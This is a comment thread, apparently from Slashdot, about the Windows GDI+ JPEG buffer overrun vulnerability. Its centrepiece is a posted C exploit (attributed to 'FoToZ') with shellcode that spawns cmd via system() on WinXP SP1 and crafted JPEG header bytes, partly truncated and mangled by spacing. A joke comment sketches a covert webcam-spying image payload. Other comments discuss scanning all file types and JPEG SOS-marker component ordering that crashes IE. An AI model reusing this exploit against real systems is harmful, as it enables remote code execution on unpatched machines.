When we were leaving his room he gave us this advice: "Beware the JPEG virus". It was 9 years ago and he was quite old and sometimes he acted/talked nonsense so we made fun of his advice (we thought: since it was not an executable file, how could it bring a virus): but he was right and we were wrong..

Re:goatse

[MustardMan]

I've come up with the ultimate computer exploit, ever. You make a jpg of goatse, with this exploited code in it. The exploit code runs an application which activates any webcams, if present, and starts taking pictures, which it then sends back to the 31337 h4x0r.

Think of it, an entire gallery of horrified faces, kinda like in The Ring when people's faces went all nasty after watching the video.

Re:win2k

[julesh]

Here's the copy I tested with (compiles with just about any C compiler, I used MS Visual C++ with the command line "cl /MD exploit.c"). I've disassembled the shell code to be sure it does what's claimed, and it seems legit to me.

// Lameness filter doesn't like C code....
//aksdnckdnaslcjknasdcjknasdlcnjklasdncj klasdnckldnscjkldnaslcjkansdjklcnasljkcnaalksdjncl ajksdnclka
//asdjkcnhladksjcnklasdjcnklasdjnclajk sdncklasndlckjansdcjknalsdkclaksdjcnlajkdnclaknldj klaegfjkaehg
//12345kjbfjwerv7890werw14hbfwjfbkjk 2jksnksbhcjksbckjhbkdbakjbdkcjbskcjabkyuajwjbhawhj fgasdiouchacbk
//aduicyga897schjawegiuci7akcajhwb vekjhcaw78cyakdjachbdjkka7w6ieucbdihcbajksdhbciauy cguaddbiua76teui
//jkasdbcdbhsajkbhsdcabsdjkcbkad kcabscadcbasbdcabddsbcasdcbascdbcasbdcadcbdasbcasb cjhabscadjkasdbckj
//ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
//ZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZ
//ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
//jkasdb cdbhsajkbhsdcabsdjkcbkadkcabscadcbasbdcabddsbcasdc bascdbcasbdcadcbdasbcasbcjhabscadjkasdbckj

// GDI+ buffer overrun exploit by FoToZ
// NB: the headers here are only sample headers taken from a .JPG file,
// with the FF FE 00 01 inserted in header1.
// Sample shellcode is provided
// You can put approx. 2500 bytes of shellcode...who needs that much anyway
// Tested on an unpatched WinXP SP1

#include <direct.h>
#include <stdio.h>

char shellcode[]=
"\x68" // push
"cmd "
"\x8B\xC4" // mov eax,esp
"\x50" // push eax
"\xB8\x44\x80\xC2\x77" // mov eax,77c28044h (address of system() on WinXP SP1)
"\xFF\xD0" // call eax
;

char header1[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\ x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xF F\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\ x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x6 4\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\ xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x1 7\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

char setNOPs1[]=
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
" \x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\x D9\x75\xF8";

char setNOPs2[]=
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B "
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x 3B\xD9\x75\xF8";

char header2[]=
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\ x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x2 0\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\ x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x4 4\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\ x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x4 4\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\ xC0\x00"
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x0 0\x02\x11\x01\x03\x11\x01"
"\xFF\xC4\x00\xA2\x00\ x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
"\x0 0\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\ x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x01\x00\x02"
"\x03\x10\x00\x02\ x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
"\x05\x01\x0

The concept isn't new

[Reziac]

I've *always* scanned ALL files -- because even in the DOS era, you could never rely on the extension and the functionality having anything to do with one another. (Remember XTreeGold for DOS? the *.XTP files are *executables*, called by XTG.EXE as needed.)

Occasionally even then, the front end of a virus was named whatever.com and was itself "clean" (so would be passed by most scanners), but its job was to call the REAL executable, named something like whatever.dat, which contained the virus code (and if you limited your scanner to known-executables, it would be missed). I have personally seen a virus carried in the whatever.dat part of some purported utility.

As to viruses in image files, it has always been theoretically possible to execute code placed in a GIF's comment field, and I vaguely recall there was a similar exploit possible for JPGs. The only reason this GIF exploit was never seen in the wild is because in the olden days, you couldn't count on everyone using the same viewing software; there were dozens of DOS image viewers, no two of which worked alike. NOW, a virus author can pretty much count on the majority of users using such files thru some combination of Windows, IE, and M$Office, so such formerly-obscure tricks become worth the bother. Much more so when M$ kindly offers malware authors a leg up like this. :(

Start of Scan (SOS) block

[Shmibbon]

This has something to do with the Start of Scan (SOS) block. From here:

SOS (Start Of Scan) marker:

Marker Identifier [2 bytes]
_0xff, 0xda identify SOS marker

Length [2 bytes]
_This must be equal to 6+2*(number of components in scan).

Number of Components in scan [1 byte]
_This must be from 1 to 4 (otherwise error), usually 1 or 3

Each component [2 bytes]
_For each component, read 2 bytes. It contains:
__Component ID [1 byte]
___1=Y, 2=Cb, 3=Cr, 4=I, 5=Q
__Huffman table to use [1 byte]
___bit 0..3 : AC table (0..3)
___bit 4..7 : DC table (0..3)

Ignorable Bytes [3 bytes]
_We have to skip 3 bytes.

Important part is in bold.

On that site are 3 important images: AlexPaul2, AP3, and AP4. All 3 display correctly in Firefox, IrfanView, and Windows Picture and Fax Viewer. The only problem seems to be with IE.

With IE:
AlexPaul2 - correct
AP3 - hues are wrong, red and blue appear to be switched
AP4 - CRASH

All of these use 3 components in the scan, so there are 6 bytes total for that portion of the SOS block.

AlexPaul2: 0100 0211 0311
AP3: 0100 0311 0211
AP4: 0311 0211 0100

I have tried switching the order of these to each other and the problem absolutely stems from here.
AP4 to AP3: 0100 0311 0211 - there is a red/blue hue difference between most programs and IE.
AP4 to AP2: 0100 0211 0311 - there is no difference between the programs and IE.
AP3 to AP4: 0311 0211 0100 - IE CRASH!
AP3 to AP2: 0100 0211 0311 - there is no difference, but the red/blue hue switch appears in BOTH normal programs and IE. In other words, AP3 appears the same in IE with both settings.

This last result makes me think IE is somehow trying to re-order these in ascending Component ID order, and this causes the errors.

One thing the JFIF document I found doesn't mention is that the order of these components matters. Changing the order always makes the jpeg appear different (sort of like a newspaper comic with the inks misaligned) in non-IE programs. If anyone knows more about this, please respond.